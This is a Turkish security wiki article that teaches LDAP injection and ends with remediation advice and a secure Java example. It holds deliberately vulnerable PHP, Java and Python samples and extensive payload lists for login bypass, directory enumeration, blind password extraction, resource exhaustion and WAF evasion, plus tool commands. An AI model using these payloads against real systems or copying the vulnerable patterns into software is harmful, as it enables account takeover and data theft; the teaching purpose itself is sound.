LDAP Injection
> Yazar: Kerem Vatansever
Lightweight Directory Access Protocol (LDAP), modern kurumsal ağlarda, özellikle kimlik ve erişim yönetimi (IAM), Tek Oturum Açma (SSO) mimarileri ve Active Directory (AD) entegrasyonlarında omurga görevi gören kritik bir protokoldür. TCP/IP veya UDP (genellikle 389/TCP şifresiz, 636/TCP SSL/TLS) üzerinden çalışan LDAP, kullanıcıları, grupları ve cihazları Dizin Bilgi Ağacı (Directory Information Tree - DIT) adı verilen hiyerarşik bir veritabanında (örneğin X.500 standardına dayanarak) saklar. Sunucu ve istemci arasındaki iletişim ağ katmanında ASN.1 (Abstract Syntax Notation One) ve BER (Basic Encoding Rules) kullanılarak serileştirilir.
LDAP Injection, tıpkı SQL Injection gibi, bir uygulamanın arka plandaki dizin sunucusuna (OpenLDAP, Microsoft Active Directory, Novell eDirectory) gönderdiği arama filtrelerini (RFC 4515) kullanıcı girdileriyle dinamik olarak ve sanitize etmeden oluşturması sonucu meydana gelir. LDAP filtreleri, ön ek (prefix/Polish) notasyonu kullanır. Bir saldırgan, LDAP kontrol karakterlerini ((, ), *, |, &, !) manipüle ederek, uygulamanın gönderdiği sorgunun Abstract Syntax Tree (AST) yapısını bozar ve arka plandaki LDAP ayrıştırıcısını (parser) kendi belirlediği mantıksal operatörleri çalıştırmaya zorlar. Bu durum, kimlik doğrulama mekanizmalarının aşılmasına, hassas kurumsal verilerin sızdırılmasına, yetki yükseltmeye ve bazen RCE'ye giden zincirleme zafiyetlere zemin hazırlar.
How It Works (Teknik Analiz)
LDAP sorguları, nesneleri (objects) ve öznitelikleri (attributes) bulmak için filtreler kullanır. Sorgu yapısı RFC 4515 standartlarına göre şekillenir ve kök dizinden (Base DN) başlar. Mantıksal yapı gereği, birleştirme operatörleri (&, |, !) ifadenin en başında yer alır. Örneğin: (&(kullanici_adi=admin)(sifre=12345))
Zafiyetin kök nedeni (Root Cause), kullanıcıdan alınan metin tabanlı verilerin bu mantıksal blokların içine doğrudan string birleştirme (concatenation) yöntemleriyle yerleştirilmesidir.
Memory ve AST (Abstract Syntax Tree) Düzeyinde Ne Olur?
Normal şartlarda LDAP istemcisi, sunucuya gönderilmek üzere bir filtre ağacı oluşturur. Uygulama (&(uid=INPUT)(userPassword=INPUT2)) gibi bir filtre yazdığında, INPUT alanına admin)(|(uid=* yazıldığında filtre şu hale gelir:
(&(uid=admin)(|(uid=*)(userPassword=INPUT2)))
Burada saldırgan, fazladan bir parantez kapatarak ) ilk mantıksal koşulu erken bitirmiş ve AST'ye yeni bir düğüm (| - OR node) eklemiştir.
Farklı LDAP motorlarının hatalı AST'leri yorumlama biçimleri farklılık gösterir:
- OpenLDAP: Bir filtre bloğu kapandığında, geri kalan metni syntax hatası olarak işaretlemeden sıklıkla yok sayar. Yani sadece enjekte edilen ilk filtreyi çalıştırır.
- Microsoft ADAM / Active Directory: Yanlış kapatılmış veya çoklu root node içeren filtrelerde hata fırlatabilir, bu nedenle AD'ye yönelik enjeksiyonlarda parantez dengesini (balancing) sağlamak kritik önem taşır (örneğin; sorgunun sonuna
(&(1=0gibi dummy filtreler eklemek).
Vulnerable Code Patterns
Aşağıda farklı dillerde LDAP enjeksiyonuna neden olan güvensiz kod geliştirme kalıpları (anti-patterns) verilmiştir.
// PHP - Güvensiz ldap_search Kullanımı
$user = $_POST['username'];
$pass = $_POST['password'];
$ds = ldap_connect("ldap.example.com");
ldap_bind($ds, "cn=admin,dc=example,dc=com", "admin_pass");
// KÖK NEDEN: Kullanıcı girdisi doğrudan string'e dahil ediliyor.
$filter = "(&(uid=" . $user . ")(userPassword=" . $pass . "))";
// Eğer $user = "*)(uid=*))(|(uid=*" verilirse, filter şu olur:
// (&(uid=*)(uid=*))(|(uid=*)(userPassword=...)) -> True döner!
$search = ldap_search($ds, "ou=users,dc=example,dc=com", $filter);
$info = ldap_get_entries($ds, $search);
// Java (JNDI) - Güvensiz DirContext.search Kullanımı
import javax.naming.directory.*;
String userInput = request.getParameter("username");
String passInput = request.getParameter("password");
DirContext ctx = new InitialDirContext(env);
// KÖK NEDEN: String formatı ile birleştirme yapılıyor. Kaçış (escaping) mekanizması yok.
String filter = "(&(cn=" + userInput + ")(userPassword=" + passInput + "))";
SearchControls controls = new SearchControls();
controls.setSearchScope(SearchControls.SUBTREE_SCOPE);
// Saldırgan userInput için "admin)(|(objectClass=*" girerse,
// şifre doğrulaması tamamen baypas edilir.
NamingEnumeration<SearchResult> results = ctx.search("ou=users,dc=example,dc=com", filter, controls);
// Python (ldap3 kütüphanesi) - Güvensiz Filtre Oluşturma
from ldap3 import Server, Connection, ALL
def authenticate(username, password):
server = Server('ldap://example.com', get_info=ALL)
conn = Connection(server, user='cn=admin,dc=example,dc=com', password='password')
conn.bind()
# Zafiyetli blok: f-string kullanılarak doğrudan enjeksiyona olanak tanınıyor.
search_filter = f'(&(uid={username})(userPassword={password}))'
# Eğer username = "*)(uid=*))(|(uid=*" olursa AST bozulur ve ilk eşleşen objeyle bind sağlanır.
conn.search('ou=users,dc=example,dc=com', search_filter, attributes=['cn', 'mail'])
Detection & Enumeration (Keşif ve Analiz)
Bir web veya masaüstü uygulamasının arka planda LDAP kullanıp kullanmadığını ve girdilere karşı savunmasız olup olmadığını belirlemek için uygulamanın girdiye verdiği tepkiler (Error-based, Time-based, Boolean-based) analiz edilir.
Manuel Keşif Adımları:
- Özel Karakter Fuzzing: Login formlarına, arama kutularına veya HTTP header'larına LDAP metakarakterleri (
*,(,),\,&,|,=) gönderilir. - Error-Based Analiz: Dengesiz parantezler (örn:
admin)) girildiğinde uygulamaLDAP Query Failed: Invalid search filter,NamingException,javax.naming.directory.InvalidSearchFilterExceptionveya 500 Internal Server Error dönüyorsa zafiyet kuvvetle muhtemeldir. - Boolean-Based (Fark Analizi): Geçerli bir kullanıcının arasına wildcard konulur (örn:
ad*min). Eğer login veya sonuç başarılı dönüyorsa backend LDAP arama filtresini olduğu gibi işliyordur.
Fuzzing Payloadları (Keşif İçin):
*
*)*
)(
*()|&'
*)(&(objectClass=*)
)(|(&
Attack Vectors & Exploitation (İstismar Vektörleri)
LDAP Injection, uygulamanın amacına (kimlik doğrulama, arama, yetki kontrolü) ve sonucun dönüp dönmemesine (In-Band veya Blind) göre çeşitli alt vektörlere ayrılır.
Authentication Bypass
Oturum açma formlarında arka planda genellikle şu sorgu çalışır: (&(uid=USER_INPUT)(userPassword=PASS_INPUT))
Eğer saldırgan kullanıcı adı veya şifre kısmına uygun metakarakterleri enjekte ederse, userPassword kontrolünü mantıksal olarak devre dışı bırakabilir.
- Kullanıcı Adı Girdisi:
admin)(&) - Şifre Girdisi:
HerhangiBirSey - Oluşan Filtre:
(&(uid=admin)(&))(userPassword=HerhangiBirSey)) - Çalışma Mantığı:
(&)her zaman TRUE (Doğru) döndürür. OpenLDAP gibi sunucular ilk geçerli filtre kapanışını (yani(&(uid=admin)(&))bloğunu) değerlendirir ve geri kalan(userPassword=...)kısmını yok sayar. Böylece şifre sorulmadan admin hesabı ile giriş yapılır.
Privilege Escalation (Yetki Yükseltme)
Uygulama, kullanıcının erişmeye çalıştığı nesneyle kullanıcının yetkisini bir LDAP filtresi ile sınırlıyorsa, bu kontrol de baypas edilebilir.
Örneğin, sistem bir belgeye erişimi kısıtlamak için şu sorguyu kullanıyor:
(&(directory=documents)(security_level=low))
Kullanıcı "documents" yerine documents)(security_level=*))(&(directory=documents verisini gönderdiğinde:
- Oluşan Sorgu:
(&(directory=documents)(security_level=*))(&(directory=documents)(security_level=low)) - Çalışma Mantığı: OpenLDAP, AST'deki ilk filtreyi
(&(directory=documents)(security_level=*))kabul eder. Bu da kullanıcının herhangi bir güvenlik seviyesindeki (*) belgelere erişmesini sağlar.
In-Band Information Disclosure
Eğer uygulama LDAP sorgusunun sonucunu ekrana yansıtıyorsa (örneğin bir personel rehberi veya ağ yazıcıları listesi), saldırgan filtre manipülasyonu ile normalde gizli olan öznitelikleri (şifre hashleri, e-posta adresleri, yöneticiler vb.) döndürebilir.
Örneğin bir yazıcı arama sorgusu: (|(type=printer)(type=scanner))
- Enjeksiyon:
printer)(uid=* - Oluşan Filtre:
(|(type=printer)(uid=*))(type=scanner)) - Çalışma Mantığı: Bu sorgu, yazıcıların yanı sıra LDAP dizinindeki tüm kullanıcıların (
uid=*) bilgilerini ekrana basacaktır.
Blind LDAP Injection (AND-Based)
Sunucu hataları veya doğrudan arama sonuçları ekrana yansımıyor, ancak enjekte edilen filtrenin sonucuna göre sayfanın içeriği değişiyorsa (örn: Geçerli ikon vs. Geçersiz hata mesajı), saldırgan verileri karakter karakter sızdırmak için Blind (Kör) LDAP enjeksiyonu kullanır.
Sorgu: (&(objectClass=printer)(type=INPUT))
- Enjeksiyon:
Epson*)(objectClass=*))(&(objectClass=void - Oluşan Sorgu:
(&(objectClass=printer)(type=Epson*)(objectClass=*))(&(objectClass=void)) - Çalışma Mantığı: Eğer sonuç varsa (TRUE), saldırgan
objectClass=*kısmını değiştirerek diğer nesneleri/kullanıcıları tahmin etmeye başlar.
Blind LDAP Injection (OR-Based)
Mantığın OR (|) üzerine kurulduğu ortamlarda, False koşulu oluşturularak testler yapılır.
Sorgu: (|(type=INPUT)(type=Scanner))
- Enjeksiyon:
void)(objectClass=users))(&(objectClass=void - Eğer sonuç dönerse,
objectClass=usersvar demektir.
Attribute Discovery & Booleanization
Blind LDAP Injection kullanarak spesifik özniteliklerin (örneğin userPassword veya description) içeriği tahmin edilebilir. Bu aşamada vahşi karakter (*) kullanılarak "Charset Reduction" tekniği uygulanır.
- İlk harfi bulmak:
admin)(userPassword=a*)(False dönerse 'a' ile başlamıyordur) - Doğruyu bulana kadar fuzz:
admin)(userPassword=m*)(True dönerse ilk harf 'm') - İkinci harf:
admin)(userPassword=my*)
Payloads & Advanced Commands
Aşağıdaki payloadlar, kimlik doğrulama bypass, keşif ve exfiltration (veri sızdırma) operasyonlarında farklı mimarilere göre denenmelidir.
Authentication Bypass Payloads
*
*)(&
*))%00
*)(uid=*))(|(uid=*
*)(&(objectClass=*)
*)(&(objectClass=user)
admin)(&)
admin)(|(&(1=1))
admin)(|(1=1))
admin)(!(!(1=1)))
admin))(&(1=0
admin)(|(uid=*))
Advanced Exploration Payloads (In-Band)
*)(objectClass=*
*)(objectCategory=*
*)(uid=*
*)(samaccountname=*
*)(cn=*
*)(mail=*
*)(userPassword=*
*)(memberOf=cn=admin,ou=groups,dc=example,dc=com
Blind Extraction Payloads
// Dizin nesnelerinin varlığını test etme
*)(objectClass=person
*)(objectClass=inetOrgPerson
*)(objectClass=user
*)(objectClass=computer
*)(objectClass=group
// Admin grubunun varlığını test etme
*)(cn=admin*)
*)(cn=Domain Admins*)
// Parola/Hash boyutlarını veya varlığını test etme (Karakter sızdırma adımları)
admin)(userPassword=*)
admin)(userPassword=a*)
admin)(userPassword=b*)
admin)(userPassword=0*)
admin)(userPassword={MD5}*)
admin)(userPassword={SHA}*)
Time-Based / Resource Exhaustion Payloads
Eğer hedef devasa bir Active Directory yapısıysa ve boolean dönüş vermiyorsa, Wildcard fırtınası (Wildcard Storm) ile sunucuyu yavaşlatarak (DoS/Time-based) TRUE/FALSE tespiti yapılabilir.
// Karmaşık iç içe sorgular göndererek işlemciyi yormak
*)(|(objectClass=*)(objectClass=*))(uid=*
*)(|(*=*)(*=*)(*=*))
(&(|(*=*)(*=*)(*=*))(|(*=*)(*=*)(*=*)))
Bypass & Obfuscation (Atlatma Teknikleri)
Gelişmiş WAF (Web Application Firewall) veya temel filtreleme mekanizmalarını (Regex, IPS/IDS) atlatmak için çeşitli encoding ve obfuscation teknikleri kullanılır.
Null Byte Injection
C veya PHP alt yapılı eski nesil LDAP istemcilerinde, dizeyi bellekte (memory) sonlandırmak için \00 veya %00 kullanılır.
admin)%00
admin)(|(%00
Hex/URL Encoding
RFC 4515 standardına göre LDAP filtrelerinde meta karakterler backslash (\) ve ardından gelen 2 haneli HEX değeri ile escape edilir. WAF'ları aşmak için bu standart encode tekniği saldırgan lehine dönüştürülebilir.
*->\2a(->\28)->\29\->\5cNUL->\00
Obfuscated Payloads:
// Normal: admin)(uid=*
// Encoded (Sadece parantezler ve yıldız):
admin\29\28uid=\2a
// Tamamen Hex (Bazı LDAP backendleri otomatik çözümleyebilir):
\61\64\6d\69\6e\29\28\75\69\64\3d\2a
Double Encoding ve Line Feed
WAF kurallarını aşmak için URL encoding ile LDAP encoding birleştirilebilir veya kontrol karakterlerinin arasına boşluklar/CRLF karakterleri gizlenebilir (Parser dependent).
%2A%29%28uid%3D%2A
Remediation & Prevention (Önleme ve Savunma)
LDAP Injection zafiyetlerini kalıcı olarak önlemek, sistemin temel mimarisini güvenli kodlama ilkelerine göre revize etmeyi gerektirir. Sadece WAF veya IPS gibi ağ katmanı çözümleri yeterli değildir.
- Giriş Doğrulama (Input Validation / Whitelisting): Tüm kullanıcı girdileri, uygulamanın iş mantığına göre önceden tanımlanmış bir "izin verilen karakterler" (whitelist) listesinden geçirilmelidir. Örneğin, bir
usernameparametresi sadece^[a-zA-Z0-9_.-]+$regex modeline uygun olmalıdır. - Parametreli Sorgular (Parameterized Queries): SQL enjeksiyonunda olduğu gibi, LDAP sorguları da parametreli arayüzler (Prepared Statements) ile oluşturulmalıdır.
- Güvenli Encoding (RFC 4515 ve RFC 2253): Kullanıcı girdileri birleştirilmeden (concatenate) önce, güvenli LDAP kodlama fonksiyonlarından geçirilmelidir. OWASP ESAPI Encoder, .NET
Encoder.LdapFilterEncodevb. kütüphaneler kullanılmalıdır.- Filtre metakarakterleri (
*,(,),\,NUL) RFC 4515'e göre\XXşeklinde encode edilmelidir. - DN (Distinguished Name) metakarakterleri (
,,+,",\,<,>,;) RFC 2253'e göre kaçış karakteri (\) eklenerek encode edilmelidir.
- Filtre metakarakterleri (
- En Az Ayrıcalık İlkesi (Principle of Least Privilege - PoLP): Uygulamanın LDAP dizinine bağlanmak (Bind) için kullandığı servis hesabı, yalnızca kendi işlevini yerine getirebilecek minimum yetkilere sahip olmalıdır. Domain Admin yetkileri kesinlikle kullanılmamalıdır.
- Kimlik Doğrulaması (Bind Authentication): Anonim (Anonymous Bind) veya kimlik doğrulaması yapılmamış bağlantılar (Unauthenticated Bind) LDAP sunucusunda devre dışı bırakılmalıdır.
Secure Code Example (Java)
Aşağıda güvensiz string birleştirme yerine, argümanları güvenli bir şekilde işleyen (parametrelendirilmiş) doğru C# / Java tarzı SearchControls ve güvenli filtre mimarisi gösterilmektedir.
// Güvenli Kullanım: Girdiler bir parametre dizisi olarak aktarılır. String format/concat YAPILMAZ.
String userInput = request.getParameter("username");
DirContext ctx = new InitialDirContext(env);
// Filtre parametrelendirilmiş {0} işareti ile oluşturulur.
String filter = "(&(uid={0})(objectClass=person))";
SearchControls controls = new SearchControls();
// Kullanıcı girdisi Object dizisi ile API'ye bırakılır, API otomatik sanitize eder.
NamingEnumeration<SearchResult> results = ctx.search("ou=users,dc=example,dc=com", filter, new Object[]{ userInput }, controls);
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| Nmap | LDAP servis keşfi, null bind kontrolü ve bilgi sızdırma taramaları. | nmap -n -sV --script "ldap* and not brute" -p 389,636 <IP> |
| ldapsearch | Command-line aracı ile manuel sorgu testleri ve veri çıkarma işlemleri. | ldapsearch -x -H ldap://<IP> -b "dc=example,dc=com" "(&(objectClass=*))" |
| JNDI-Exploit-Kit | Java tabanlı gelişmiş LDAP/JNDI payload oluşturma ve istismar aracı (RCE yolları için). | java -jar JNDI-Exploit-Kit-1.0.jar -C "touch /tmp/pwned" |
| Burp Suite (Intruder) | Web tabanlı LDAP enjeksiyon noktalarında otomatik Fuzzing ve Blind karakter sızdırma. | admin)(userPassword=§a§*) |
| LDAPMiner | Otomatikleştirilmiş LDAP injection açığı tarayıcısı ve sömürü aracı. | python ldapminer.py -u http://target.com/login -p username -P password |
Yazar: Kerem Vatansever · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv